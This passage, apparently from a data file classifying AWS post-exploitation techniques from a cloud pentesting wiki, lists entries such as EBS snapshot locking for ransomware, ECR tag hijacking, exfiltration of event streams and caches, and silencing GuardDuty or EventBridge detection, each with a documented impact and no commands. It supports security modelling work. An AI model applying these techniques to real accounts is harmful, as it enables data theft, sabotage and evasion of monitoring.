src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2locksnapshot--make-backups-undeletable-ebs-ransomware + technique: '`ec2:LockSnapshot` — make backups undeletable (EBS ransomware)' + reason: 'Documented impact: Permanent, unrecoverable denial of deletion on EBS snapshots — unbounded forced storage + cost and an anti-cleanup foothold that survives full remediation of the account. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createdhcpoptions-ec2associatedhcpoptions--vpc-wide-dns-hijack + technique: '`ec2:CreateDhcpOptions`, `ec2:AssociateDhcpOptions` — VPC-wide DNS hijack' + reason: 'Documented impact: Attacker-controlled name resolution for every instance in the VPC — credential interception + via spoofed internal endpoints, malicious package/update sources, and an easy full-VPC outage — obtained without + touching a single... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md#aws--covert-disk-exfiltration-via-ami-store-to-s3-createstoreimagetask + technique: AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + reason: 'Documented impact: Full offline acquisition of the EBS snapshot data represented by the AMI (credentials, + configuration, and filesystem contents) as one downloadable S3 object, without changing snapshot sharing settings. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#overwrite-a-trusted-tag-via-ecrputimage-tag-hijacking--supply-chain + technique: Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain) + reason: 'Documented impact: Code execution in every consumer that pulls the tag — ECS services, EKS pods, Lambda + container functions, App Runner and CodeBuild — each running with whatever role that workload carries, with + no change to any deployment manifest. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#subvert-managed-image-signing-via-ecrputsigningconfiguration--ecrdeletesigningconfiguration + technique: Subvert managed image signing via `ecr:PutSigningConfiguration` / `ecr:DeleteSigningConfiguration` + reason: 'Documented impact: Registry-wide subversion of image-signing integrity — target repositories stop being + signed, or are signed by an attacker-controlled key — enabling malicious images to pass (or bypass) signature-based + admission when downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registrywide-scanning-engine-downgrade-via-ecrputaccountsetting-obsolete + technique: Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (obsolete) + reason: 'Documented impact: Historically a registry-wide downgrade of the scanning engine; retained here because + the permission still appears in older policies and the event name is still worth recognising in trails. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registry-level-stealth-disable-or-downgrade-scanning-via-ecrputregistryscanningconfiguration + technique: 'Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`' + reason: 'Documented impact: Registry-wide loss of vulnerability detection: malicious or vulnerable images stop + being flagged on push, and because ECR only reports findings for scans that actually ran, the console shows + no findings rather than an error —... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#ecrputlifecyclepolicy--ecrdeleterepository--ecr-publicdeleterepository--ecrbatchdeleteimage--ecr-publicbatchdeleteimage + technique: '`ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` + | `ecr-public:BatchDeleteImage`' + reason: 'Documented impact: Destruction of the images the environment deploys from: every running workload survives + until its next pull, then fails to start. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetaskdefinition--read-container-environment-and-secret-references + technique: '`ecs:DescribeTaskDefinition` — Read container environment and secret references' + reason: 'Documented impact: Disclosure of container configuration, plaintext environment values, internal endpoints, + role ARNs, private image locations, and secret identifiers. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetasks--task-override-disclosure + technique: '`ecs:DescribeTasks` — task-override disclosure' + reason: This heading concerns reading or exporting data via `ecs:DescribeTasks` — task-override disclosure; it + does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-task-role-credentials-through-ecsexecutecommand + technique: Steal task-role credentials through `ecs:ExecuteCommand` + reason: The ecs:ExecuteCommand role-credential path is modeled by aws-ecs-executecommand; this section gives post-exploitation + details of the same task-role target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#disable-container-insights-with-putaccountsettingdefault-or-updateclustersettings + technique: Disable Container Insights with `PutAccountSettingDefault` or `UpdateClusterSettings` + reason: 'Documented impact: Loss of Container Insights performance log ingestion, dashboards, and the additional + metrics/alarms that depend on it for the targeted existing cluster or affected future clusters. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatereplicationconfiguration--replicate-into-a-prepared-cross-account-file-system + technique: '`elasticfilesystem:CreateReplicationConfiguration` — replicate into a prepared cross-account file + system' + reason: 'Documented impact: A continuing cross-account copy of source data and metadata to an attacker-readable + destination, bounded by replication progress and the last successful sync. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeleteaccesspoint + technique: '`elasticfilesystem:DeleteAccessPoint`' + reason: 'Documented impact: Prevents future mounts and reconnections through the access point. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletemounttarget + technique: '`elasticfilesystem:DeleteMountTarget`' + reason: 'Documented impact: Availability loss for applications using that target and possible loss of uncommitted + writes. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletefilesystem + technique: '`elasticfilesystem:DeleteFileSystem`' + reason: 'Documented impact: Destructive loss of the live file system and outage of dependent applications. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemupdatefilesystem + technique: '`elasticfilesystem:UpdateFileSystem`' + reason: 'Documented impact: Workload throttling or higher EFS charges. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eks-authassumeroleforpodidentity-with-a-stolen-pod-bound-token + technique: '`eks-auth:AssumeRoleForPodIdentity` with a stolen Pod-bound token' + reason: The caller must already possess a valid Pod-bound token. The permission alone cannot mint that token; + the resulting role is the one already assigned to that pod, so this is credential theft from a compromised workload. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkswapenvironmentcnames + technique: '`elasticbeanstalk:SwapEnvironmentCNAMEs`' + reason: 'Documented impact: Traffic can be redirected to an unintended environment or version, causing incorrect + application behavior or availability issues. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkaddtags-elasticbeanstalkremovetags + technique: '`elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`' + reason: 'Documented impact: Tag-based automation, inventory, cost allocation, or access controls can receive incorrect + data after tags are added, changed, or removed. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplicationversion + technique: '`elasticbeanstalk:DeleteApplicationVersion`' + reason: 'Documented impact: Loss of a rollback or deployment artifact from Elastic Beanstalk and disruption of + deployment workflows; the source bundle remains in Amazon S3 by default. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkterminateenvironment + technique: '`elasticbeanstalk:TerminateEnvironment`' + reason: 'Documented impact: Application downtime and possible data loss when environment-managed data resources + are not configured to be retained or snapshotted before termination. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdeleteapplication + technique: '`elasticbeanstalk:DeleteApplication`' + reason: 'Documented impact: Termination of associated environments and loss of tracked versions and saved configurations, + leading to service disruption; source bundles may still remain in Amazon S3. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-secret-disclosure-post-exploitation/README.md#describeconfigurationsettings--environment-secret-disclosure + technique: '`DescribeConfigurationSettings` — environment-secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeConfigurationSettings` — environment-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-cache-snapshot-to-s3-with-elasticachecopysnapshot + technique: Export a cache snapshot to S3 with `elasticache:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a cache''s contents (every key/value — sessions, tokens, credentials, + PII) to attacker-controlled S3, with no route to the cache endpoint and no RBAC/AUTH credential required. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#export-a-serverless-cache-snapshot-to-s3-with-elasticacheexportserverlesscachesnapshot + technique: Export a serverless cache snapshot to S3 with `elasticache:ExportServerlessCacheSnapshot` + reason: 'Documented impact: Exfiltration of a serverless cache''s dataset into an attacker-readable S3 bucket, + with no cache network path or RBAC credential. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifylistener--redirect-existing-alb-traffic + technique: '`elasticloadbalancing:ModifyListener` — Redirect existing ALB traffic' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyListener` — Redirect + existing ALB traffic, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elb-post-exploitation/README.md#elasticloadbalancingmodifyrule--redirect-matching-alb-traffic-to-an-existing-target + technique: '`elasticloadbalancing:ModifyRule` — Redirect matching ALB traffic to an existing target' + reason: The section documents the resource or service effect of `elasticloadbalancing:ModifyRule` — Redirect matching + ALB traffic to an existing target, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferencegetmetadata--recover-transcripts-and-inference-results + technique: '`elemental-inference:GetMetadata` — recover transcripts and inference results' + reason: This heading concerns reading or exporting data via `elemental-inference:GetMetadata` — recover transcripts + and inference results; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceexportdictionaryentries--steal-the-custom-vocabulary + technique: '`elemental-inference:ExportDictionaryEntries` — steal the custom vocabulary' + reason: This heading concerns reading or exporting data via `elemental-inference:ExportDictionaryEntries` — steal + the custom vocabulary; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatedictionary--poison-vocabulary-without-read-access + technique: '`elemental-inference:UpdateDictionary` — poison vocabulary without read access' + reason: The section documents the resource or service effect of `elemental-inference:UpdateDictionary` — poison + vocabulary without read access, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceputmedia--inject-attacker-controlled-source-segments + technique: '`elemental-inference:PutMedia` — inject attacker-controlled source segments' + reason: The section documents the resource or service effect of `elemental-inference:PutMedia` — inject attacker-controlled + source segments, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elemental-inference-post-exploitation/README.md#elemental-inferenceupdatefeed--blindly-replace-output-configuration + technique: '`elemental-inference:UpdateFeed` — blindly replace output configuration' + reason: The section documents the resource or service effect of `elemental-inference:UpdateFeed` — blindly replace + output configuration, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-post-exploitation/README.md#weaken-emr-block-public-access-with-putblockpublicaccessconfiguration + technique: Weaken EMR Block Public Access with `PutBlockPublicAccessConfiguration` + reason: 'Documented impact: Removal or broad weakening of one regional preventive control, allowing an otherwise-authorized + cluster launch or security-group change to create publicly reachable EMR nodes. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetapplication--runtime-property-disclosure + technique: '`emr-serverless:GetApplication` — runtime-property disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetApplication` — runtime-property + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-emr-serverless-configuration-post-exploitation/README.md#emr-serverlessgetjobrun--job-argument-disclosure + technique: '`emr-serverless:GetJobRun` — job-argument disclosure' + reason: This heading concerns reading or exporting data via `emr-serverless:GetJobRun` — job-argument disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messaginggetwhatsappmessagemedia---copy-inbound-media-to-an-attacker-destination + technique: '`social-messaging:GetWhatsAppMessageMedia` - Copy inbound media to an attacker destination' + reason: This heading concerns reading or exporting data via `social-messaging:GetWhatsAppMessageMedia` - Copy + inbound media to an attacker destination; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-end-user-messaging-social-post-exploitation/README.md#social-messagingsendwhatsappmessage---send-trusted-brand-whatsapp-messages + technique: '`social-messaging:SendWhatsAppMessage` - Send trusted-brand WhatsApp messages' + reason: The section documents the resource or service effect of `social-messaging:SendWhatsAppMessage` - Send + trusted-brand WhatsApp messages, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md#use-getmatchid-as-a-record-membership-oracle + technique: Use GetMatchId as a record-membership oracle + reason: This heading concerns reading or exporting data via Use GetMatchId as a record-membership oracle; it does + not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-pipe-configuration-post-exploitation/README.md#pipesdescribepipe--input-template-disclosure + technique: '`pipes:DescribePipe` — input-template disclosure' + reason: This heading concerns reading or exporting data via `pipes:DescribePipe` — input-template disclosure; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreatesubscriber--replay-retained-enhanced-bus-events-to-a-new-target + technique: '`events:CreateSubscriber` — replay retained enhanced-bus events to a new target' + reason: 'Documented impact: Retrospective and continuing disclosure of every matched event still inside the bus + retention window—potentially up to one year—including application records, security findings, identifiers, URLs, + or credentials that producers... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputtargets--silently-copy-an-event-stream-to-an-attacker-sink + technique: '`events:PutTargets` — silently copy an event stream to an attacker sink' + reason: 'Documented impact: Continuous exfiltration of an event stream (security findings, application events, + audit signals) to attacker-controlled infrastructure, without altering or interrupting the legitimate delivery, + so nothing appears broken. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventscreateconnection--eventscreateapidestination--exfiltrate-an-event-stream-straight-out-of-aws + technique: '`events:CreateConnection` + `events:CreateApiDestination` — exfiltrate an event stream straight out + of AWS' + reason: 'Documented impact: Continuous exfiltration of a matched event stream to attacker-controlled infrastructure + outside AWS, with the legitimate target still receiving everything. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsremovetargets--detach-the-real-target-and-keep-the-rule-looking-enabled + technique: '`events:RemoveTargets` — detach the real target and keep the rule looking enabled' + reason: 'Documented impact: Detection or automation silently stops while the rule still reports ENABLED; combined + with PutTargets it converts a monitored pipeline into an attacker-only feed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--clear-filters-and-disable-delivery-logs + technique: '`events:UpdateSubscriber` — clear filters and disable delivery logs' + reason: 'Documented impact: Route every future event on the bus—including security findings, secrets or customer + records that the original filter intentionally excluded—to an existing attacker-readable or attacker-useful + target, increase its workload,... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsdisablerule--switch-off-a-detection-pipeline + technique: '`events:DisableRule` — switch off a detection pipeline' + reason: 'Documented impact: Silences everything downstream of the rule (alert notifications, automated remediation, + scheduled backup/patching jobs) while leaving the rule and its targets in place, so a later EnableRule restores + it with no other trace. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsputrule--blind-overwrite-a-rules-event-pattern-so-it-never-matches + technique: '`events:PutRule` — blind-overwrite a rule''s event pattern so it never matches' + reason: 'Documented impact: Permanently blinds a detection or automation rule while it continues to report as + enabled with its targets intact — considerably stealthier than disabling or deleting it. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdatesubscriber--pause-and-discard-a-subscribers-retained-backlog + technique: '`events:UpdateSubscriber` — pause and discard a subscriber''s retained backlog' + reason: 'Documented impact: Suppress an arbitrary window of security findings, automation events, orders, audit + records, or workflow triggers for one consumer without deleting the subscriber or changing its visible destination, + then restore apparently... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateeventbus--truncate-enhanced-bus-retained-history + technique: '`events:UpdateEventBus` — truncate enhanced-bus retained history' + reason: 'Documented impact: Irreversibly remove up to 364 days of replayable application events, security findings, + audit records or workflow inputs, breaking recovery/catch-up for every current and future subscriber on the + selected bus. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateconnection--eventsdeauthorizeconnection--break-or-rewrite-stored-api-credentials + technique: '`events:UpdateConnection` / `events:DeauthorizeConnection` — break or rewrite stored API credentials' + reason: 'Documented impact: Availability loss for every API Destination using the connection, or substitution + of the outbound credential so third-party integrations authenticate with an attacker-chosen value. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerdeleteschedule--destroy-scheduled-automation + technique: '`scheduler:DeleteSchedule` — destroy scheduled automation' + reason: 'Documented impact: Permanent removal of future invocations, disrupting the backup, patch, export, rotation, + or operational workflow the schedule drove. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md#schedulerupdateschedule--iampassrole--disable-or-redirect-execution + technique: '`scheduler:UpdateSchedule` + `iam:PassRole` — disable or redirect execution' + reason: 'Documented impact: Disables future automation or causes Scheduler to invoke a supported attacker-chosen + target/action and crafted input with the passed role''s applicable permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputpolicy-fmsdeletepolicy + technique: '`fms:PutPolicy`, `fms:DeletePolicy`' + reason: 'Documented impact: Dismantling of security controls, policy evasion, compliance violations, operational + disruptions, and potential data breaches within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsassociatethirdpartyfirewall-fmsdisassociatethirdpartyfirewall + technique: '`fms:AssociateThirdPartyFirewall`, `fms:DisassociateThirdPartyFirewall`' + reason: 'Documented impact: The disassociation would lead to a policy evasion, compliance violations, and disruption + of security controls within the environment. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmstagresource-fmsuntagresource + technique: '`fms:TagResource`, `fms:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputnotificationchannel-fmsdeletenotificationchannel + technique: '`fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`' + reason: 'Documented impact: This would potentially lead to miss security alerts, delayed incident response, potential + data breaches and operational disruptions within the environment. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsbatchassociateresource-fmsbatchdisassociateresource-fmsputresourceset-fmsdeleteresourceset + technique: '`fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`' + reason: 'Documented impact: The addition of an unnecessary amount of items to a resource set will increase the + level of noise in the Service potentially causing a DoS. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputappslist-fmsdeleteappslist + technique: '`fms:PutAppsList`, `fms:DeleteAppsList`' + reason: 'Documented impact: Altered application lists can expose disallowed applications or block legitimate traffic, + causing policy bypass or denial of service. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#fmsputprotocolslist-fmsdeleteprotocolslist + technique: '`fms:PutProtocolsList`, `fms:DeleteProtocolsList`' + reason: 'Documented impact: Altered protocol lists can permit prohibited protocols or deny approved ones, weakening + enforcement or disrupting connectivity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorgetevent---read-a-known-stored-event + technique: '`frauddetector:GetEvent` - Read a known stored event' + reason: This heading concerns reading or exporting data via `frauddetector:GetEvent` - Read a known stored event; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorsendevent---blindly-replace-a-stored-event + technique: '`frauddetector:SendEvent` - Blindly replace a stored event' + reason: The section documents the resource or service effect of `frauddetector:SendEvent` - Blindly replace a + stored event, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fraud-detector-post-exploitation/README.md#frauddetectorupdateeventlabel---blind-label-poisoning + technique: '`frauddetector:UpdateEventLabel` - Blind label poisoning' + reason: The section documents the resource or service effect of `frauddetector:UpdateEventLabel` - Blind label + poisoning, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-free-tier-post-exploitation/README.md#freetierupgradeaccountplan--irreversibly-remove-the-free-plan-no-charge-boundary + technique: '`freetier:UpgradeAccountPlan` — irreversibly remove the Free-plan no-charge boundary' + reason: 'Documented impact: irreversibly convert a protected no-charge Free-plan account to pay-as-you-go, remove + its service restrictions and automatic-spend boundary, and expose the owner to charges from existing automation + or later attacker activity. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-fsx-post-exploitation/README.md#fsxcreatefilesystemfrombackup--fsxcreatevolumefrombackup--restore-data-into-attacker-reachable-network + technique: '`fsx:CreateFileSystemFromBackup` / `fsx:CreateVolumeFromBackup` — restore data into attacker-reachable + network' + reason: 'Documented impact: Full read access to the data of any FSx file system by restoring its backup into an + attacker-controlled subnet and mounting it — no access to the original file system required. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#anywhere-server-impersonation-with-gameliftgetcomputeauthtoken + technique: Anywhere server impersonation with `gamelift:GetComputeAuthToken` + reason: This heading concerns reading or exporting data via Anywhere server impersonation with `gamelift:GetComputeAuthToken`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateendpointgroup---redirect-or-suppress-application-traffic + technique: '`globalaccelerator:UpdateEndpointGroup` - Redirect or suppress application traffic' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateEndpointGroup` - Redirect + or suppress application traffic, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdateacceleratorattributes---disable-traffic-flow-logs + technique: '`globalaccelerator:UpdateAcceleratorAttributes` - Disable traffic flow logs' + reason: This heading concerns removal, disruption or access denial via `globalaccelerator:UpdateAcceleratorAttributes` + - Disable traffic flow logs; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-global-accelerator-post-exploitation/README.md#globalacceleratorupdatelistener--updateaccelerator---break-or-reshape-the-public-entry-point + technique: '`globalaccelerator:UpdateListener` / `UpdateAccelerator` - Break or reshape the public entry point' + reason: The section documents the resource or service effect of `globalaccelerator:UpdateListener` / `UpdateAccelerator` + - Break or reshape the public entry point, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrassupdateconnectivityinfo--redirect-device-connectivity-mitm + technique: '`greengrass:UpdateConnectivityInfo` — redirect device connectivity (MITM)' + reason: 'Documented impact: Redirect edge/client device connections to an attacker endpoint for interception or + rogue control. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutycreatefilter--auto-archive-findings + technique: '`guardduty:CreateFilter` — auto-archive findings' + reason: 'Documented impact: Silently drops all matching future findings from every downstream consumer (EventBridge, + S3 export, Security Hub, Detective, Extended Threat Detection) while they linger only as archived entries in + the console. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#iamputrolepolicy--guarddutycreateipset--guarddutyupdateipset--trusted-list-poisoning + technique: '`iam:PutRolePolicy` + (`guardduty:CreateIPSet` | `guardduty:UpdateIPSet`) — trusted list poisoning' + reason: 'Documented impact: Suppresses CloudTrail/VPC-Flow-Log (and, for trusted entity lists, DNS) findings for + attacker IPs/CIDRs/domains for as long as the list exists. This section does not establish another AWS principal + 